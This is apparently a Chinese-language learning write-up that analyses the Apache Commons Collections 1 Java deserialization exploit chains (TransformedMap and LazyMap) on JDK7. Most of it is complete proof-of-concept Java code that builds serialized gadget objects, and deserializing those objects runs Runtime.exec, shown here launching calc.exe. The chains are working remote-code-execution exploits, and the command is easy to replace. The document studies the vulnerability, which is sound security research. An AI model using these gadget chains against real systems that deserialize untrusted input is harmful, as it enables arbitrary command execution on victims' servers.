apache-commons-collections1反序列化链分析
调试环境
JDK7
漏洞分析
在InvokerTransformer类中的transform方法存在一组反射方法执行
只要能控制参数input、iMethodName、iParamTypes和iArgs,就能调用Runtime.exec
执行系统命令!iMethodName、iParamTypes和iArgs是通过构造方法赋值,很明显其值可控
现在要让input参数可控并且为Runtime的Class对象,ConstantTransformer类的transform方法就可以返回Runtime的Class对象,只要实例化的时候传入Runtime的Class对象即可
ChainedTransformer类的iTransformers属性为Transformer数组,其transform方法遍历调用iTransformers[i].transform
方法,并且将前一次遍历执行的结果带入下一次遍历的参数中
利用这遍历操作就可以执行到Runtime的exec方法,仔细分析分析代码应该不难理解
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class TestDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("ky"); //此处参数传入什么都无所谓
}
}
TransformedMap攻击链
上面的代码是手动触发transform方法的,需要找一条非手动就能执行transform方法的链,下面一步步找
TransformedMap类的checkSetValue方法调用了transform方法
参数valueTransformer是通过构造方法赋值的,可控
现在就是找调用checkSetValue方法的地方了,MapEntry类的setValue方法调用了checkSetValue方法,且parent是通过构造方法获取的(下面提到的MapEntry、EntrySetIterator、EntrySet类都是AbstractInputCheckedMapDecorator类的内部类)
往上找EntrySetIterator类的next方法实例化了MapEntry对象,EntrySetIterator类的parent值也是通过构造方法赋值的
继续往上找,在EntrySet类的iterator方法实例化了EntrySetIterator类,其parent也是通过构造方法赋值的
继续往上找,AbstractInputCheckedMapDecorator类的entrySet方法实例化了EntrySet对象,并且第二个参数为AbstractInputCheckedMapDecorator类本身,到这里parent这个属性的值也就确定了,就是调用entrySet方法的调用者
这里恰好AbstractInputCheckedMapDecorator类是TransformedMap父类,可以直接让this为TransformedMap,这时候传下去的parent就是TransformedMap类了,那么调用的也就是TransformedMap类的checkSetValue方法了。
注意的一点是entrySet方法前面有个if判断,通过isSetValueChecking方法进行判断,TransformedMap类重写了isSetValueChecking方法,只要valueTransformer不为空即可返回true,这里当然是成立的
至此,写一下上面的执行命令代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class TestDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
hashMap.put("1","1");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Map.Entry next = (Map.Entry)transformedMap.entrySet().iterator().next();
next.setValue("ky");
}
}
代码中的hashMap不能为空,为空会抛出异常,具体原因没有深究
上面的代码也是手动触发setValue方法的,需要找到一个类的readObject方法,其中调用setValue方法,这样就可以在反序列化的时候触发readObject方法了,AnnotationInvocationHandler类的readObject方法就符合
对比前面的代码,希望让var5的值为MapEntry内部类对象,var5是通过var4.next()
获得的,var4是通过this.memberValues.entrySet().iterator()
获得的,也就是var5是通过this.memberValues.entrySet().iterator().next()
获得的,那么让this.memberValues
为TransformedMap对象即可
this.memberValues
通过构造方法赋值,实例化的时候传入TransformedMap对象即可,this.type
也是通过构造方法赋值
网上师傅们的POC中this.type
都是传入Retention注解的,这里也用这个注解,调试一下,发现经过AnnotationType.getInstance(this.type)
对var2赋值后,var2的值为AnnotationType注解,这个注解的memberTypes属性为HashMap,HashMap存在键值对value->java.lang.annotation.RetentionPolicy
var3的值是通过memberTypes方法获取的,跟进一下这个方法就是返回this.memberTypes
的,那么根据前面的分析,var3就是HashMap了,且存在键值对value->java.lang.annotation.RetentionPolicy
有一个if判断要让var7不为空才能调用setValue方法,var7是通过var3.get(var6)
获取的,前面已经看到了var3只有value这一个键,所以要让var7不为空就需要让var6的值为字符串value
var6通过var5.getKey()
方法获得,var5就是前面代码中传入的HashMap,所以等会构造POC的时候要让HashMap有一个以value为键的键值对。
下面就是构造POC了,只需要实例化一个AnnotationInvocationHandler对象,并传入Retention注解和TransformedMap即可,但是AnnotationInvocationHandler对象使用默认修饰符,在java中就是同包可以访问,所以下面利用反射实例化这个对象
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class TestDemo {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
hashMap.put("value","ky");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
//Map.Entry next = (Map.Entry)transformedMap.entrySet().iterator().next();
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = clazz.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object o = con.newInstance(Retention.class, transformedMap);
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(o);
oo.flush();
oo.close();
ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
ObjectInputStream oi = new ObjectInputStream(bi);
oi.readObject();
}
}
以上就是完整的一个TransformedMap攻击链了,下面分析LazyMap攻击链,相对来说LazyMap攻击链比较简单
LazyMap攻击链
跟TransformedMap攻击链相同的,要找调用transform方法的地方,LazyMap类的get方法就调用了transform方法。factory属性通过构造方法赋值,可控,构造方法是protect的,可以通过decorate方法创建,跟前面的一样的
没有哪个类的readObject方法调用了get方法,就需要采取 迂回 措施了,TiedMapEntry类的getValue方法调用了get方法,TiedMapEntry类的toString方法调用了getValue方法,map是构造方法赋值的,只需要让map为LazyMap即可
终于有一个类的readObject方法调用了toString方法了,它就是BadAttributeValueExpException类
valObj是通过gf.get
获取的,获取的其实就是BadAttributeValueExpException类的val属性,这个属性是私有的,可以通过反射对其设值,让其指向TiedMapEntry类即可,这样攻击链就完成了,下面是完整的执行系统命令代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Demo02 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"})
};
HashMap hashMap = new HashMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry ky = new TiedMapEntry(lazyMap, "ky");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,ky);
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(badAttributeValueExpException);
oo.flush();
oo.close();
ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
ObjectInputStream oi = new ObjectInputStream(bi);
Object o = (Object) oi.readObject();
}
}
细节注意的地方,LazyMap类的get方法,有个if判断,如果实例化时传入的HashMap存在指定的键时,就调用不了transform方法
通过分析,这个指定的键为实例化TiedMapEntry对象时传入的第二个参数,分析分析代码就能知道
总结
相对来说LazyMap攻击链比TransformedMap攻击链简单,这也是自URLDNS后的第二条链,加油加油